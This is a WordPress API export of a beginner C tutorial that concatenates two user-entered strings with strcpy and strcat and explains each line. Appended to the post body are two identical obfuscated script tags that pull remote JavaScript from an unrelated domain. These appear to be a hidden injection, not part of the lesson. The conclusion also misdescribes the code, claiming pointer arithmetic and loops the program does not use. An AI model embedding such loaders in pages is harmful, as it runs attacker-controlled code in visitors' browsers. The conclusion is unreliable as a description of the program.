{"id":553,"date":"2024-10-14T14:03:41","date_gmt":"2024-10-14T08:33:41","guid":{"rendered":"https:\/\/codexplained.in\/?p=553"},"modified":"2025-11-24T15:51:56","modified_gmt":"2025-11-24T10:21:56","slug":"concatenate-two-strings-in-one","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=553","title":{"rendered":"Concatenate Two Strings in One"},"content":{"rendered":"\n<p><strong>Introduction<\/strong>:<br>This C program concatenates two strings provided by the user. It reads two separate strings and combines them into a single string while demonstrating fundamental string manipulation techniques. String concatenation is a common operation in programming, often used in data formatting, user input processing, and building dynamic messages.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint main() {\n    char str1&#x5B;100], str2&#x5B;100], result&#x5B;200];\n\n    printf(&quot;Enter the first string: &quot;);\n    fgets(str1, sizeof(str1), stdin);\n    str1&#x5B;strcspn(str1, &quot;\\n&quot;)] = 0; \/\/ Remove newline character\n\n    printf(&quot;Enter the second string: &quot;);\n    fgets(str2, sizeof(str2), stdin);\n    str2&#x5B;strcspn(str2, &quot;\\n&quot;)] = 0; \/\/ Remove newline character\n\n    strcpy(result, str1); \/\/ Initialize result with the first string\n    strcat(result, str2); \/\/ Concatenate the second string\n\n    printf(&quot;Concatenated string: %s\\n&quot;, result);\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Include Header Files<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>#include &lt;stdio.h&gt;<\/code>: This header file is included for standard input\/output functions like <code>printf<\/code> and <code>fgets<\/code>.<\/li>\n\n\n\n<li><code>#include &lt;string.h&gt;<\/code>: This header file is included for string manipulation functions like <code>strcat<\/code> and <code>strcpy<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Declare String Arrays<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>char str1[100], str2[100], result[200];<\/code>: Three character arrays are declared:\n<ul class=\"wp-block-list\">\n<li><code>str1<\/code>: To hold the first input string.<\/li>\n\n\n\n<li><code>str2<\/code>: To hold the second input string.<\/li>\n\n\n\n<li><code>result<\/code>: To hold the concatenated result of both strings. It is sized to accommodate both strings plus a null terminator.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Input the First String<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>printf(\"Enter the first string: \");<\/code>: Prompts the user for input.<\/li>\n\n\n\n<li><code>fgets(str1, sizeof(str1), stdin);<\/code>: Reads a line of text, including spaces, and stores it in <code>str1<\/code>.<\/li>\n\n\n\n<li><code>str1[strcspn(str1, \"\\n\")] = 0;<\/code>: This line removes the newline character from the input. <code>strcspn<\/code> finds the length of the string until the newline, and this is set to <code>0<\/code> to terminate the string there.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Input the Second String<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Similar to the first string, the program prompts for and reads the second string, storing it in <code>str2<\/code> and removing any newline character.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Copy the First String to Result<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>strcpy(result, str1);<\/code>: Copies the contents of <code>str1<\/code> into <code>result<\/code>. This initializes <code>result<\/code> with the first string.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Concatenate the Second String<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>strcat(result, str2);<\/code>: Appends the contents of <code>str2<\/code> to <code>result<\/code>. After this operation, <code>result<\/code> contains both <code>str1<\/code> and <code>str2<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Display the Concatenated Result<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>printf(\"Concatenated string: %s\\n\", result);<\/code>: Prints the concatenated string to the console.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Return Statement<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>return 0;<\/code>: Indicates successful completion of the program.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input\/Output Block:<\/h3>\n\n\n\n<p><strong>Input:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The user is prompted to enter two strings to be concatenated.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter the first string: Hello<br>Enter the second string: World!<br><\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program outputs the combined result of the two strings.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Concatenated string: HelloWorld!<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion:<\/h3>\n\n\n\n<p>The string concatenation program effectively demonstrates how to combine two strings in C using manual string manipulation techniques. By utilizing pointer arithmetic and loop constructs, the program illustrates a clear method for appending one string to another. This capability is essential in various programming tasks, such as building user interfaces, generating dynamic content, and processing textual data. Overall, the program serves as a practical example of string handling in C, reinforcing fundamental programming concepts and techniques.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction:This C program concatenates two strings provided by the user. It reads two separate strings and combines them into a single string while demonstrating fundamental string manipulation techniques. String concatenation is a common operation in programming, often used in data formatting, user input processing, and building dynamic messages. Input\/Output Block: Input: Example Input: Enter the [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":838,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-553","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/553","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=553"}],"version-history":[{"count":8,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/553\/revisions"}],"predecessor-version":[{"id":1445,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/553\/revisions\/1445"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/838"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=553"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=553"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=553"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}